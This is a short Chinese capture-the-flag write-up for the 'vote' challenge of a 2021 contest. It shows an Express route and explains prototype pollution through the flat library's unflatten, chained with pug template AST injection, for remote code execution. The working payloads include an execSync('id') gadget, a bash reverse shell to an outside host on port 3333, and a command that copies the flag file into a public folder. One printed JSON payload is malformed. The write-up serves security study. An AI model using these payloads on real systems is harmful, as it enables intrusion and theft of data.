{"lua":"123","__proto__":{"outputFunctionName":"t=1;return global.process.mainModule.constructor._load('child_process').execSync('id')\n//"},"Submit":""}

[湖湘杯 2021 final]vote

给出源码

const path              = require('path');
const express           = require('express');
const pug               = require('pug');
const { unflatten }     = require('flat');
const router            = express.Router();

router.get('/', (req, res) => {
    return res.sendFile(path.resolve('views/index.html'));
});

router.post('/api/submit', (req, res) => {
    const { hero } = unflatten(req.body);

    if (hero.name.includes('奇亚纳') || hero.name.includes('锐雯') || hero.name.includes('卡蜜尔') || hero.name.includes('菲奥娜')) {
        return res.json({
            'response': pug.compile('You #{user}, thank for your vote!')({ user:'Guest' })
        });
    } else {
        return res.json({
            'response': 'Please provide us with correct name.'
        });
    }
});

module.exports = router;

在上面 使用了flat 和 pug 渲染 flat可以原型链污染 pug可以rce

{
    "__proto__.block": {
        "type": "Text", 
        "line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
    }
}

但是 我们需要给hero.name 赋值 然后 才能触发pug.conpile

{"__proto__.hero":{"name":"菲奥娜"},
{
    "__proto__.block": {
        "type": "Text", 
        "line": "process.mainModule.require('child_process').execSync('cat /flag > app/static/1.txt')"
    }
}}

Ending

‍参考文章

https://xz.aliyun.com/t/11791

https://forum.butian.net/share/1561

https://nodejs.org/zh-cn/docs


文章来源: https://xz.aliyun.com/t/12383
如有侵权请联系:admin#unsafe.sh